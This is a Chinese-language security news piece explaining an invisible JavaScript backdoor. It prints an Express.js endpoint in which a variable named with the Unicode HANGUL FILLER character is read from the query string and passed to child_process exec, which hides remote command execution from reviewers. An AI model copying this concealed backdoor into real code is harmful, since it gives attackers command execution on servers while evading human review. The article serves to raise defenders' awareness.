国外安全研究人员发现一种隐形的 JavaScript 后门

国外安全人员发现了一种看不见的 JavaScript 后门,我们来了解一下吧~

我们先来看一看一段包含后门的代码:

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

你能看出里面的后门吗?

创建后门首先是找到一个不可见的 Unicode 字符,它可以在 JavaScript 中被解释为标识符/变量。从 ECMAScript 2015 开始,所有具有 Unicode 属性ID_Start的 Unicode 字符都可以在标识符中使用。

字符“ㅤ”(十六进制为 0x3164)是 “HANGUL FILLER” ,属于 Unicode 类别 “Letter, other” 。由于这个字符被认为是一个字母,而且具有ID_Start属性,因此可以出现在 JavaScript 变量中。

const { timeout,ㅤ} = req.query;

上述代码中,参数timeout并不是唯一参数,后面还有一个

同样的,当构造checkCommands数组时,这个变量也被添加到数组中:

    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',\u3164
    ];